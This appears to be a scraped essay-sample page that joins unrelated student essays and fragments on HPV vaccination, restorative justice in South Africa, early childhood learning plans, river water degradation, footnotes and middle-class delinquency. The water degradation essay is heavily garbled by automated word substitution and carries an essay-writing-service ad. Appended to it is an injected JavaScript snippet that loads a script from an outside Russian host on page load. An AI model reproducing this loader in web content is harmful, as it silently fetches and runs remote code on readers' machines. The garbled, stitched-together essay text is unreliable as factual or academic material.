The Human Papilloma Virus Vaccine Essay examples - 2046 Words

The Human Papilloma Virus, in short terms known as HPV, is a sexually transmitted infection that can potentially lead to cervical cancer and genital warts. All cases of HPV do not cause cervical cancer, only certain strains. Yet, the rising number of deaths from cervical cancer actually caused by HPV has undeniably caught the attention of the public. In response to the cervical cancer death rate, pharmaceutical companies have developed an HPV vaccine. The vaccine was considered a major medicinal breakthrough for some, but raised a number of concerns for others. Although the safety along with the effectiveness of the vaccine has been proven, it continues to originate controversy as both advocates and opponents assess their views of whether†¦show more content†¦The numbers are mind-boggling, but they are continuously rising each year. However, as mentioned early on advocates affirm that pharmaceutical companies have become proactive upon the issue and introduced an HPV vaccine to the public. In 2006, an HPV vaccine/cervical cancer vaccine known as Gardasil was put on the market. Gardasil has been proven to be safe and effective in preventing not only genital warts, but certain strains of HPV that cause cervical cancer as well. Those in favor of the HPV vaccine declare that the overall administration of the vaccine employs several benefits. When teenage girls receive the vaccine it is administered three times over a six month term. After this period, they will never receive HPV immunizations again. The HPV vaccination will last them for the rest of their lives, meaning these girls will be fully protected from the four strains of HPV quoted beforehand. Once the risk of HPV is reduced their risk of cervical cancer is reduced as well. In turn, this could possibly reduce the number of abnormal Pap smear results documented each year. High vaccination rates will significantly reduce the approximately 3.5 million abnormal Pap results experienced by American women each year, many of which are caused by transient or persistent HPV infections. These abnormal Pap results require millions of women to seek follow-up care, ranging from additionalShow MoreRelatedThe Ethics Associated With The Gardasil Vaccine1318 Words   |  6 Pages The Ethics Associated With the Gardasil Vaccine Molly Root St. John Fisher College Introduction Vaccinations are a topic of controversy in our society here in the United States. People have different perceptions and ideas about their personal medical care surrounding the suggestion to get vaccinated. Thousands of people adhere to the suggestions of their medical providers, while others challenge the idea of vaccinations. Individuals might choose to refuse vaccinations due toRead MoreHpv Vaccine1161 Words   |  5 PagesAge Limit On HPV Vaccine? Being the 50 percent of sexually active people will have genital hpv in their lifetime the Human papilloma virus is the most common sexually transmitted virus in the United States of America.There are two vaccines that are currently available to prevent the Human papilloma virus that cause the most cervical cancers.The vaccines are Cervarix and Gardasil which also treats genital warts as well as anal and vaginal cancers. No federal laws yet mandate vaccinations but allRead MoreThe Common Sexually Transmitted Infections1539 Words   |  7 PagesThe human papillomavirus is one of the most common sexually transmitted infections in the United States. The human papillomavirus dates back to the nineteen hundred. Scientists did not know why people who had sexually transmitted infections also had cancer. It was not until the nineteen-eighties, that scientist discovered that the human papilloma virus may cause cancer (Preventing Cervical Cancer).The human papillomavirus is known to cause gen ital warts and cancer in both men and women. In the yearRead MoreThe Human Papillomavirus And Its Effects On The United States1561 Words   |  7 PagesThe human papillomavirus remains one of the highest common sexually transmitted infections in the United States. The human papillomavirus dates back to the nineteen hundreds. Scientists during the nineteen hundreds did not comprehend on why people who had sexually transmitted infections also had cancer. It was not until the nineteen-eighties, that a scientist discovered that the human papilloma virus caused cancer (Preventing Cervical Cancer). Moreover the human papillomavirus causes genital wartsRead MoreCervical Cancer : A Preventable Death1182 Words   |  5 Pagesthat women became susceptible to developing cervical cancer following HPV (Human Papilloma Virus) infection. Awarded with half the Nobel Prize in Physiology or Medicine 2008, Harald zur Hausen presented novel human papilloma viruses as key contributors to the cancer, a s HPV type 16 and 18 genomes and expression of its specific DNA genes merged into the tumour host cell genome. His discovery made it possible to develop a vaccine against the second most common cancer among women, as well as leading toRead MoreUrinary And Reproductive Case Studies1364 Words   |  6 PagesURINARY AND REPRODUCTIVE CASE STUDIES 2 Urinary and Reproductive Case Studies The urinary and reproductive systems are two of the eleven systems which comprise the human body. The urinary system filters waste from the blood and eliminates it from the body through the production of urine. The reproductive system is collection of male and female organs that together can produce life. Each of these systems has disorders unique unto themselves. Through the examination of three caseRead MoreIgnorance Vs. Intelligence : Animal Experimentation And Life Saving Medical Technology952 Words   |  4 PagesIntelligence: Animal Experimentation and Life Saving Medical Technology The use of non-human animals in experiments in order to gain a further understanding of the functions of biological systems is known as animal experimentation. Medicine as it is known today would not exist without animal experimentation, also referred to as animal testing, animal research, and/or biomedical testing. Albert Sabin, who developed the Polio vaccine said, â€Å"Without animal research, polio would still be claiming thousands of livesRead MorePreventing Cervical Cancer through HPV Vaccinations Essay examples856 Words   |  4 Pagesthe reproductive system. According to the CDC in 2010 11,818 women in the United States were diagnosed with cervical cancer and 3,939 women in the United States died from cervical cancer. The most common type is squamous cell carcinoma. Human papilloma virus, otherwise known as HPV, is known to cause cervical abnormalities and has been linked to cervical cancer. Some signs and symptoms of cervical cancer are abnormal vaginal bleeding or discharge and pelvic pain and pressure. Cervical cancerRead MoreCauses And Effects Of Cancer1048 Words   |  5 Pagestobacco smoke, radiation from radioactive elements and many other factors. The only type of cancer that can be caused by an infection is the viral cancer. Viruses that cause cancer are called oncoviruses; oncoviruses represent approximately 15% of all human cancers worldwide (Liao 115). Viruses are made up of small portion of either DNA or RNA(sometimes both) surrounded by a protein coat. Viruses enter a living cell and insert portion of their DNA or RNA into the host cell, allowing the host cell to reproduceRead MoreBiography of Harald Zur Hausen1196 Words   |  5 Pages1936 in Gelsenkirchen-Buer, Germany. He studied Medicine at the Universities of Bonn, Hamburg and Dà ¼sseldorf and received his M.D. in 1960. After his internship he worked as postdoc at the Institute of Microbiology in Dà ¼sseldorf, subsequently in the Virus Laboratories of the Children s Hospital in Philadelphia where he was later appointed as Assistant Professor. After a period of 3 years as a senior scientist at the Institute of Virology of the University of Wà ¼rzburg, he was appointed in 1972 as Chairman

Is Restorative Justice Gaing Support in South Africa

Introduction Punishment, central to any legal proceeding where the accused is found guilty, directly falls under criminal law and is determined by punishment theories. Whether South Africa is moving towards restorative justice approaches influences many aspects: it allows the protection of society, results in more of a crime-free life for the offender and it gives offenders the chance to learn from their experience, and gain insight into their behaviour and allows victims to handle their injustice. If South Africa is truly moving towards applying restorative justice principles in the resolution of disputes it will be evident in the legislation and recent case law in different fields; including crimes of child offenders, serious crimes and†¦show more content†¦It also prevents the children from being exposed to situations in prisons that could influence them more negatively. Less serious crimes As less serious crimes’ sentences do not have minimum sentences prescribed the courts can easily use their discretion in deciding on an appropriate punishment for cases involving less serious crimes. The goal of sentencing should be to prevent future offences, in the most beneficial and least harmful way possible. They can take into consideration two main aspects: the seriousness of the offence and the vulnerability and power differences between the victim and the offender. These are crimes where the victim would benefit more from action that would allow the victim to be compensated than just know that the offender is being punished. In S v Shilubane (2008) the offender was originally sentenced to nine months in prison due to the theft of seven fowls, but at review the sentence was set aside and replaced with a suspended sentence that was â€Å"in line with the new philosophy on restorative justice†¦Ã¢â‚¬  (2008 (1) SACR p297 4). Serious crimes Restorative justice is most suitable for cases that involve an identifiable victim who have suffered a crime of dishonesty and violence, as it allows the victim and the offender to rectify the imbalances and aid in coming to terms with the injustice. The case of S v Maluleke (2008) the victim’s mother was devastated that the offender did not apologize for their wrongdoing. The

Bachelor of Early Learning Children †Free Samples to Students

Question: Discuss about the Bachelor of Early Learning Children. Answer: Introduction The purpose of this assignment is to prepare a learning program for the children up to 5 years old. The reflective cycle of interpretation is used to promote the plan that is related to early years learning framework. The planning program will help the children to develop educational skills and also enhance the knowledge of understanding of various subjects. The framework of Early Years Learning aims to provide basic guidelines to the educators of children and help them develop their education planning program. There is certain step that needs to be followed in order to make an education plan for the children. The purpose of this education planning program is aimed for children below 5 years age. It is important to interact with the children of the age group in order to collect information about their ideas of knowledge and understanding. This information will help the educators to include various assignments within the learning program (Peers Fleer, 2014). Later it is also important to create a healthy environment in which the children will be taught. The rooms where the children will be taught needs to have attractive designs and wallpapers which will see that tension of young children. The program also needs to include attractive and interesting assignment topics which will encourage the children and also developed the interest on learning. Animated videos can also be included as a part of art that is needed in the education program. This will enhance the children's understanding with visual aid. Intentional Teaching Proposal is an important part of the planning of childhood education. This helps to develop the interest within the child about the new areas that they are learning. The main purpose of the teaching program is to introduce the children to various subjects related to development of the cognitive skills (Cheeseman et al., 2014). The Intentional Teaching Proposal is a part of the Early Years Learning Program (EYLF) that helps in the development of the overall learning process. It is important for the early childhood educator to take support from Arts curriculum as it helps in the development of visual aid of the children (Edwards Bird, 2015). All the learning areas in the education program needs to be connected as it will help in overall coordination process for the educators and they will be able to develop the teaching strategy that is needed. In the very first week educators will collect information by interacting with the children. In the following week the educator will use the information in order to design the learning environment and the assignment that will help in the development of knowledge level of the children. Educators will also have to decide the visual aids that are needed in the overall process. It is important to have both indoor and outdoor environment within the learning centre that will help the children in all types of interactive sessions. Finally, the educators can use the experience of teaching young children for for the development of the planning process. In order to teach the young children the educator need to have efficient communication skills that will help the children to encourage in the learning process. With effective communication children can also understand the importance of the education program and also able to develop their skills of understanding in the respective subject. The experience that is gained by the young children will help them to interact with the educator. It is also important for the educator to make necessary changes in the planning program according to the weakness and strength of individual young children (Grieshaber Shearer, 2013). In the overall planning process, it is important to use the tool of EYLF, which can provide the basic guidelines of childhood education program. The Intentional teaching program has been developed with the help of experience of the early childhood educators. The main purpose of the proposal is to increase the awareness among let children about the importance of their culture and general knowledge related to various important subjects. The educators need to implement the basic learning strategy, which will aim to drive the interest of the young children. As the young children needs more time to develop their interest on education, it is important for the educators to make them feel comfortable with the help of effective communication skills. The attractive visual aids can also be used to achieve the same purpose. Conclusion The main purpose of the overall early year education program is to ensure that the educators can develop better sense of understanding about the needs and requirement of young children. Reference Cheeseman, S., Sumsion, J., Press, F. (2014). Infants of the knowledge economy: the ambition of the Australian Governments Early Years Learning Framework.Pedagogy, Culture Society,22(3), 405-424. Edwards, S., Bird, J. (2015). Observing and assessing young childrens digital play in the early years: Using the Digital Play Framework.Journal of Early Childhood Research, 1476718X15579746. Grieshaber, S., Shearer, A. (2013). Continuity?: The early years learning framework and the Australian curriculum.Every Child,19(4), 16. Peers, C., Fleer, M. (2014). The theory of belonging: Defining concepts used within belonging, being and becomingThe Australian early years learning framework.Educational Philosophy and Theory,46(8), 914-928.

Water Degradation Essay Research Paper Water Degradation free essay sample

Water Degradation Essay, Research Paper Water Degradation Based on the article: River Life Through U.S. Broadly Degraded. By William K. Stevens, Jan. 26, 93 Society has been presented with a wide spectrum of cause and effectrelationships within the H2O based ecosystems. Without a witting attempt torehabilitate our H2O systems many rivers and lakes are doomed. We have to look afterthis cherished resource. Fortunately many new controls and clean up plans have beenintroduced. Rivers are being devastated due to physical and ecological transmutation. Thisdecrease in the quality of river and H2O organic structures consequences from human activities andprocesses. The ecosystems are altering quickly. It is necessary to keep aconsistent balance in these ecosystems. Imbalances are happening with alimentary degrees, H2O temperature, H2O degree, and deposit. # 8220 ; The watercourse so carries moresediment and becomes wider, shallower, and heater, doing the H2O unfit for manyvital organisms. # 8221 ; ( Stevens, New York Times, Jan. We will write a custom essay sample on Water Degradation Essay Research Paper Water Degradation or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page 26, 1993 ) The activities impacting the watercourses are every bit diverse as the countries in which streamsare being affected. Dams are capable of destructing entire ecosystems. They affectwater degrees, and therefore affect H2O temperature. Changes in river temperature candestroy entire population of beings. In add-on they affect alimentary degrees bycutting them off, non leting them to flux down watercourse. Salmon runs frequently fall preyto the concrete monsters. Although this is frequently bypassed with pink-orange elevators.Development of land frequently consequences in the straightening, channeling, and diversionof the rivers and watercourses. Many rivers and watercourses have merely dried up most of theyear, and some neer make it all the manner to the ocean. This can be lay waste toing to thewide assortment of species, and decimate niches and ecosystems take downing the biological+ H ) 0*0*0* . . + diverseness. Development is frequently damaging to river bank flora. This al lowswater to run off excessively rapidly, therefore cut downing the H2O keeping capacity of the land, andadding to deposit. Channeling and recreation can besides be found in agribusiness and farming practices.In add-on chemical fertiliser and carnal waste merchandises run off causes an surfeit of foods being added to the H2O interrupting the delicate balances.Plowing and other patterns leave dirt victim to eroding which adds to thesedimentation of the river. Forestry is besides a major cause of watercourse deposit. When the works materialis removed the dirt surface it is left really susceptible to eroding. This produces a lotof extra deposit over a long period of clip. After an country is cleared thechemical balances are affected as good. # 8220 ; In peculiar, Ranberg and co-workers provedthat alkalinity increased when forest land was converted into agricultural land andacidification occurred when patterns were abandoned. # 8221 ; ( Charles, Nature, April 29,93 ) This clearly show s how the lake chemical science is affected by forestry and agriculture.Urban and suburban countries are besides to fault. We continuously remove H2O from R / gt ; our H2O ways for usage, and replace it with wastes. This leads to nutrification andgeneral impairment of the H2O. # 8220 ; Nationwide, there are 2,100 wellness advisories forfish contaminated by toxic chemicals, harmonizing to a 1991 National Academy of Sciencesreport, Seafood Safety. # 8221 ; ( Marx, EPA Journal, Sept-Oct, 92 ) Heated outflowing releasedinto river ecosystems are frequently damaging. Emissions affect lake and riveracidification and hence the ability to back up aquatic beings. The effects ofacid rain take a heavy toll on ecosystems whether they are H2O based or non. Another job the river ecosystems are confronting are alien species. Somespecies are merely of course happening incidence, others are human introduced. # 8220 ; Theyhave significantly reduced biological diverseness through predation, change of home ground, debut of diseases or parasites and crossbreeding with native organisms. # 8221 ; ( Stevens, New York Times, Jan. 26, 93 ) This shows the effects of p resenting a foreignspecies to an established home ground. There are a figure of factors impacting our riversand ecosystems. Fortunately some witting attempt is being made to continue thisvaluable resource. These include salvaging the headwaters of major rivers, replantingriver Bankss, and authorities carbon monoxides operative H2O ordinance at dike. An illustration of the efforts to assist our current H2O state of affairs is Chesapeake Bay where local authoritiess have agreed to cut down the sum of foods being released by 40 % before the twelvemonth two 1000. Another signifier of saving is the liming of H2O organic structures rivers and entirewatersheds. Birdliming is the chemical neutralisation of acidic Waterss. By liming theentire watershed, the intervention can last five to ten old ages. # 8220 ; Harvey Olem saysresearchers have estimated that half the U.S. surface Waterss acidified by air pollutants will finally retrieve under the emanations control strategies most likely to e merge from strengthened Clean Air Act ordinances. # 8220 ; The other half will remainacidic, # 8221 ; he observes. And for them # 8220 ; liming may be an option a tool for reconstructing theirfisheries. # 8221 ; ( Raloff, Science News, Feb 24, 1990 ) A batch of common patterns must shortly come to a arrest. Obviously we are seting a veryheavy load on our waterways. The effects of this are really clear. In order to dealwith these jobs we must get down at the root of the job. We must cut down ourwastes and happen alternate agencies for disposal. We must cut back on emanations. Manythings are being done, and Acts of the Apostless are being passed. The public population is get downing totake it upon themselves to care for their river systems. Fortunately rivers are able, for the most portion, to reconstruct themselves one time the inhibiting factors are removed. BIBLIOGRAPHYDonald Charles, # 8220 ; Acid Rain Not Merely To Blame, # 8221 ; + +Nature, # 8211 ; April 29, 93, P. 784 Janet Raloff, # 8220 ; Lime for Your Drink? , # 8221 ; + +Science News, # 8211 ; February 24, 90, P. 127Wesley Marx, # 8221 ; Great Waterbodies at a Watershed, # 8221 ; + +EPA Journal- , September October,92, P. 45-48William K. Stevens # 8220 ; River Life Through U.S. Broadly Degraded, # 8221 ; + + New York Times, # 8211 ; January26, 93. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

How to Use Footnotes and Endnotes

How to Use Footnotes and Endnotes How to Use Footnotes and Endnotes Footnotes and endnotes both let you add extra information in an essay or college paper. But what should you include in these notes? And when should you use them? In this post, we run through everything you need to know about using footnotes and endnotes in academic writing. What Are Footnotes and Endnotes? Footnotes appear at the bottom or â€Å"foot† of the page. You can therefore put extra information in a footnote, such as source details for a citation, without interrupting the flow of the main text. To indicate a footnote, you can add a superscript number to the text, such as at the end of this sentence.1 These numbers then correspond to numbered notes at the bottom of the page. A footnote or three. Endnotes are like footnotes, but they appear together at the end of the document rather than at the bottom of each page. Endnotes are thus less immediately accessible for the reader than footnotes, but they can help ensure that pages with multiple notes don’t become cluttered. If you are not sure which to use, check your style guide for advice. Footnotes and Endnotes in Microsoft Word To insert a footnote or endnote in a Microsoft Word document, you need to: Go to References Footnotes on the main ribbon Select either Insert Footnote or Insert Endnote as required Type your note in the newly created footnote/endnote Footnote tools in MS Word. You can also customize the style of footnotes and endnotes by clicking on the arrow in the bottom right of the Footnotes section of the References tab (or by going to Insert Footnotes in Word for Mac). This will open a new window where you can select your preferred formatting options. When to Use Footnotes and Endnotes The main uses of footnotes and endnotes are as follows: To add a footnote citation in referencing systems such as MHRA and Chicago, with full source information also given in a bibliography at the end of the document. Endnotes are also used for citations in some systems, such as in IEEE or Vancouver referencing, where numbers in the text point to an entry in a reference list at the end of the document. To add non-essential commentary on something in the main text of your document. For example, if your research has raised an interesting question that is not directly relevant to your current work, you could mention it in a footnote or endnote. This lets you acknowledge the question – showing the reader that you haven’t simply ignored or failed to notice it – but without interrupting the flow of prose in the main document. Keep in mind, too, that some referencing systems use in-text parenthetical citations. As such, you should only reference a source in a footnote or endnote if your school has asked you to do it this way. Do Notes Count Towards the Word Limit? We’re often asked whether to include footnotes and endnotes in the word count for papers. Different schools have different rules about this, so you will have to check your style guide. However, you should never use these supplementary notes to cheat the word count. The key here is that essential information should never go in a footnote or endnote. If you do move vital evidence or analysis to a note, the person marking your work may ignore it. And reducing the word count is never more important than putting forward a full, coherent argument. If you do need to reduce the word count in an essay, you have other options, such as rewriting wordy sentences or cutting repetition. Having your work proofread is a great way to ensure that your writing is always clear and concise, too, so let us know if you’d like any help.

Summary response Essay Example | Topics and Well Written Essays - 250 words - 2

Summary response - Essay Example Romano lists both â€Å"strengths and weaknesses† (Romano, 405) of Statsky’s argument. She gives credit to Statsky for her strong defense and authoritative evidence. At the same time, she points out the shortcomings in Statsky’s argument. The intended audience is parents who are the main stakeholders in the welfare of their children. It is through the lens of their â€Å"worries and hopes† (Romano, 402) that Romano views Statsky’s essay. Romano also bases her criticism of Statsky’s writing on its failure to completely address the questions of those parents who disagree, fully or partly, with her thesis. Romano’s thesis is that, while Statsky’s argument is very effective in reaffirming the beliefs of those parents who share her stand, Statsky weakens her argument by not providing enough evidence to refute the objections of those parents who differ from her. Statsky also fails to address non-contact sports, which form a basic part of children’s

Middle Class Delinquency to Gangs Research Paper

Middle Class Delinquency to Gangs - Research Paper Example As Lowney (2009: 527-38) observed, in a gang, a youth will find money, friendship and above all to get what they need. The paper will discuss the middle class delinquency relationship to the gangs. In order to understand the relationship between the middle class delinquencies to gang, it is of great importance for five issues to be addressed. To begin, gang must be differentiated from other forms of peer groups. Gao (2002: 8-26) observed that some youths are organized into groups but are not gangs. Secondly, attention must be paid to the relationship strength between being in a gang and the delinquency of the members. Thirdly, the focus should be on the importance of learning from the peers despite being generalized into gangs. The fourth issue involves the peer group solidarity effect in causing delinquency. Because of the importance of giving consideration to the similarity of the peers to a gang, getting involved in delinquency and other activities, and the peers solidarity should be treated as variables. Peer groups that resemble a gang among the middle class stimulate delinquency when the members feel the strong solidarity sense in their group. Furthermore, it may be that the likeness of the gang is related to the delinquency of the individuals when combined with the delinquency of other members. ... According to Myerhoff et al (2001: 328-335), the popularized gang ideas are used by all types of youths in different sorts of communities. Moreover, the disorganized communities act as the delinquency locations, predominantly the male gangs. Greeley et al (2005: 33-41) suggested the strain theory that was introduced by theories such as Albert Cohen as the model that can explain how factors in the middle class such as homelessness, poverty, lack of opportunity and lack of parenting are the major contributors of crime and formation of delinquent sub cultures like the gangs. According to Greeley et al (2005: 33-41), the strain theory forms part of the objectivists perspective that believes that behavior is socially created, assumes consensus of value and is observable. Furthermore, the theory comprises of the two other separate theories, that is, Anomie and Social Disorganization Theories. According to Lowney (2009: 527-38), both theories suggests that the less presence of integration, cohesion and solidarity within a community, group or society, the higher the rate of crime and deviance. Gao (2002: 8-26) indicated that the term Anomie refers to condition of lack of norms, that promotes in most cases higher suicide rates. Using the concept of anomie, The Theory of Anomie and Social Structure was drawn. The Theory of Anomie and Social Structure gives a logical explanation of the reasons why most crime activities are found in middle class and the lower class urban areas. According to Salzinger et al (2006), social structure balance and culture are the necessary components that form an integrated society. Therefore, anomie is the direction that disintegration of the society takes when there is dissociation between legitimate societal means and valued cultural ends